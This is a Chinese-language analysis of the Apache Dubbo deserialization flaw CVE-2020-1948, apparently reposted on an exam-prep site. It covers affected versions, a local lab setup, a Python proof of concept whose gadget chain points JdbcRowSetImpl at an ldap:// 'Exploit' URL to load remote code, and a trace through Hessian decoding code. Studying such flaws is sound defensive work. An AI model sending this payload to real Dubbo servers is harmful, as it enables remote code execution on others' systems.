资讯 小学 初中 高中 语言 会计职称 学历提升 法考 计算机考试 医护考试 建工考试 教育百科
栏目分类:
子分类:
返回
空麓网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
空麓网 > 计算机考试 > 软件开发 > 后端开发 > Java

[CVE-2020-1948] Apache Dubbo 反序列化漏洞分析

Java 更新时间: 发布时间: 计算机考试归档 最新发布

[CVE-2020-1948] Apache Dubbo 反序列化漏洞分析

[CVE-2020-1948] Apache Dubbo 反序列化漏洞分析

简介

Dubbo 是一款高性能、轻量级的开源 Java RPC 框架,它提供了三大核心能力:面向接口的远程方法调用,智能容错和负载均衡,以及服务自动注册和发现。

POC

https://www.mail-archive.com/dev@dubbo.apache.org/msg06544.html

影响版本

  • Dubbo 2.7.0 to 2.7.6
  • Dubbo 2.6.0 to 2.6.7
  • Dubbo all 2.5.x versions (not supported by official team any longer)

环境搭建

https://github.com/apache/dubbo-spring-boot-project

下载 2.7.6 版本,用 IDEA 打开 dubbo-spring-boot-samples 文件夹,在provider-sample文件夹下的 pom 里添加:

 ` com.rometools rome 1.7.0 ` 

maven 开始运行 springboot。

漏洞分析

python 的 poc

`# -*- coding: utf-8 -*-
#pip3 install dubbo-py
from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient

client = DubboClient('127.0.0.1', 12345)

JdbcRowSetImpl=new_object('com.sun.rowset.JdbcRowSetImpl',dataSource="ldap://127.0.0.1:8087/Exploit",strMatchColumns=["foo"])
JdbcRowSetImplClass=new_object('java.lang.Class',name="com.sun.rowset.JdbcRowSetImpl",)
toStringBean=new_object('com.rometools.rome.feed.impl.ToStringBean',beanClass=JdbcRowSetImplClass,obj=JdbcRowSetImpl)

resp = client.send_request_and_return_response(service_name='cn.rui0',method_name='rce',args=[toStringBean])` 

发送 poc

`org.apache.dubbo.remoting.RemotingException: Not found exported service: cn.rui0:1.0:12345in [org.apache.dubbo.spring.boot.demo.consumer.DemoService:1.0.0:12345], may be version or group mismatch , channel:consumer:/127.0.0.1:61624 --> provider: /127.0.0.1:12345, message:RpcInvocation [methodName=rce, parameterTypes=[class com.rometools.rome.feed.impl.ToStringBean], arguments=[], attachments={input=294, path=cn.rui0, dubbo=2.5.3, version=1.0}]
	at org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol.getInvoker(DubboProtocol.java:265) ~[dubbo-2.7.6.jar:2.7.6]
	at org.apache.dubbo.rpc.protocol.dubbo.CallbackServiceCodec.decodeInvocationArgument(CallbackServiceCodec.java:280) ~[dubbo-2.7.6.jar:2.7.6]
	at org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation.decode(DecodeableRpcInvocation.java:161) [dubbo-2.7.6.jar:2.7.6]
	at org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation.decode(DecodeableRpcInvocation.java:79) [dubbo-2.7.6.jar:2.7.6]
	at org.apache.dubbo.remoting.transport.DecodeHandler.decode(DecodeHandler.java:57) [dubbo-2.7.6.jar:2.7.6]
	at org.apache.dubbo.remoting.transport.DecodeHandler.received(DecodeHandler.java:44) [dubbo-2.7.6.jar:2.7.6]
	at org.apache.dubbo.remoting.transport.dispatcher.ChannelEventRunnable.run(ChannelEventRunnable.java:57) [dubbo-2.7.6.jar:2.7.6]
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142) [na:1.8.0_121]
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617) [na:1.8.0_121]
	at java.lang.Thread.run(Thread.java:745) [na:1.8.0_121]` 

根据报错,其实已经把触发的地方暴露了。

从at org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation.decode(DecodeableRpcInvocation.java:79) [dubbo-2.7.6.jar:2.7.6]开始跟。

跟到orgapachedubborpcprotocoldubboDecodeableRpcInvocation.java139 行,

public T readObject(Class cls) throws IOException, ClassNotFoundException { return (T) mH2i.readObject(cls); }

mH2i.readObject(cls)继续 readobject,mH2i的内容是

 `public Object readObject(Class cl)throws IOException {return readObject(cl, null, null);}@Overridepublic Object readObject(Class expectedClass, Class... expectedTypes) throws IOException {if (expectedClass == null || expectedClass == Object.class)return readObject();int tag = _offset < _length ? (_buffer[_offset++] & 0xff) : read();switch (tag) {case 'N':return null;case 'H': {Deserializer reader = findSerializerFactory().getDeserializer(expectedClass);boolean keyValuePair = expectedTypes != null && expectedTypes.length == 2;// fix deserialize of short typereturn reader.readMap(this, keyValuePair ? expectedTypes[0] : null, keyValuePair ? expectedTypes[1] : null);}case 'M': {String type = readType();// hessian/3bb3if ("".equals(type)) {Deserializer reader;reader = findSerializerFactory().getDeserializer(expectedClass);return reader.readMap(this);} else {Deserializer reader;reader = findSerializerFactory().getObjectDeserializer(type, expectedClass);return reader.readMap(this);}}case 'C': {readObjectDefinition(expectedClass);return readObject(expectedClass);}case 0x60:case 0x61:case 0x62:case 0x63:case 0x64:case 0x65:case 0x66:case 0x67:case 0x68:case 0x69:case 0x6a:case 0x6b:case 0x6c:case 0x6d:case 0x6e:case 0x6f: {int ref = tag - 0x60;int size = _classDefs.size();if (ref < 0 || size <= ref)throw new HessianProtocolException("'" + ref + "' is an unknown class definition");ObjectDefinition def = (ObjectDefinition) _classDefs.get(ref);return readObjectInstance(expectedClass, def);}case 'O': {int ref = readInt();int size = _classDefs.size();if (ref < 0 || size <= ref)throw new HessianProtocolException("'" + ref + "' is an unknown class definition");ObjectDefinition def = (ObjectDefinition) _classDefs.get(ref);return readObjectInstance(expectedClass, def);}case BC_LIST_VARIABLE: {String type = readType();Deserializer reader;reader = findSerializerFactory().getListDeserializer(type, expectedClass);Object v = reader.readList(this, -1);return v;}case BC_LIST_FIXED: {String type = readType();int length = readInt();Deserializer reader;reader = findSerializerFactory().getListDeserializer(type, expectedClass);boolean valueType = expectedTypes != null && expectedTypes.length == 1;Object v = reader.readLengthList(this, length, valueType ? expectedTypes[0] : null);return v;}case 0x70:case 0x71:case 0x72:case 0x73:case 0x74:case 0x75:case 0x76:case 0x77: {int length = tag - 0x70;String type = readType();Deserializer reader;reader = findSerializerFactory().getListDeserializer(null, expectedClass);boolean valueType = expectedTypes != null && expectedTypes.length == 1;// fix deserialize of short typeObject v = reader.readLengthList(this, length, valueType ? expectedTypes[0] : null);return v;}case BC_LIST_VARIABLE_UNTYPED: {Deserializer reader;reader = findSerializerFactory().getListDeserializer(null, expectedClass);boolean valueType = expectedTypes != null && expectedTypes.length == 1;// fix deserialize of short typeObject v = reader.readList(this, -1, valueType ? expectedTypes[0] : null);return v;}case BC_LIST_FIXED_UNTYPED: {int length = readInt();Deserializer reader;reader = findSerializerFactory().getListDeserializer(null, expectedClass);boolean valueType = expectedTypes != null && expectedTypes.length == 1;// fix deserialize of short typeObject v = reader.readLengthList(this, length, valueType ? expectedTypes[0] : null);return v;}case 0x78:case 0x79:case 0x7a:case 0x7b:case 0x7c:case 0x7d:case 0x7e:case 0x7f: {int length = tag - 0x78;Deserializer reader;reader = findSerializerFactory().getListDeserializer(null, expectedClass);boolean valueType = expectedTypes != null && expectedTypes.length == 1;// fix deserialize of short typeObject v = reader.readLengthList(this, length, valueType ? expectedTypes[0] : null);return v;}case BC_REF: {int ref = readInt();return _refs.get(ref);}}if (tag >= 0)_offset--;// hessian/3b2i vs hessian/3406// return readObject();Object value = findSerializerFactory().getDeserializer(expectedClass).readObject(this);return value;}` 

来到comalibabacomcauchohessianioHessian2Input.java

第二次循环到class java.lang.Class, 跟到comalibabacomcauchohessianioClassDeserializer.java

 `public Object readObject(AbstractHessianInput in, String[] fieldNames)throws IOException {int ref = in.addRef(null);String name = null;for (int i = 0; i < fieldNames.length; i++) {if ("name".equals(fieldNames[i]))name = in.readString();elsein.readObject();}Object value = create(name);in.setRef(ref, value);return value;}` 

第三次 comalibabacomcauchohessianioClassDeserializer.java

dubbo rpc原理

根本原因我们来学习一下 dubbo RPC 的原理。可以参考这篇文章: https://www.jianshu.com/p/93c00a391e09和https://blog.csdn.net/zhuqiuhui/article/details/89463642

dubbo 支持多种序列化方式并且序列化是和协议相对应的。比如:dubbo 协议的 dubbo, hessian2,java,compactedjava,rmi 协议缺省为 java,以及 http 协议的 json 等。

  • dubbo 序列化:阿里尚未开发成熟的高效 java 序列化实现,阿里不建议在生产环境使用它
  • hessian2 序列化:hessian 是一种跨语言的高效二进制序列化方式。但这里实际不是原生的 hessian2 序列化,而是阿里修改过的 hessian lite,它是 dubbo RPC 默认启用的序列化方式
  • json 序列化:目前有两种实现,一种是采用的阿里的 fastjson 库,另一种是采用 dubbo 中自己实现的简单 json 库,但其实现都不是特别成熟,而且 json 这种文本序列化性能一般不如上面两种二进制序列化。
  • java 序列化:主要是采用 JDK 自带的 Java 序列化实现,性能很不理想。

这四种主要序列化方式的性能从上到下依次递减。对于 dubbo RPC 这种追求高性能的远程调用方式来说,实际上只有 1、2 两种高效序列化方式比较般配,而第 1 个 dubbo 序列化由于还不成熟,所以实际只剩下 2 可用,所以 dubbo RPC 默认采用 hessian2 序列化。

但 hessian 是一个比较老的序列化实现了,而且它是跨语言的,所以不是单独针对 java 进行优化的。而 dubbo RPC 实际上完全是一种 Java to Java 的远程调用,其实没有必要采用跨语言的序列化方式(当然肯定也不排斥跨语言的序列化)。

转载请注明:文章转载自 http://www.konglu.com/
本文地址:http://www.konglu.com/it/1094080.html
免责声明:

我们致力于保护作者版权,注重分享,被刊用文章【[CVE-2020-1948] Apache Dubbo 反序列化漏洞分析】因无法核实真实出处,未能及时与作者取得联系,或有版权异议的,请联系管理员,我们会立即处理,本文部分文字与图片资源来自于网络,转载此文是出于传递更多信息之目的,若有来源标注错误或侵犯了您的合法权益,请立即通知我们,情况属实,我们会第一时间予以删除,并同时向您表示歉意,谢谢!

我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2023 成都空麓科技有限公司

ICP备案号:蜀ICP备2023000828号-2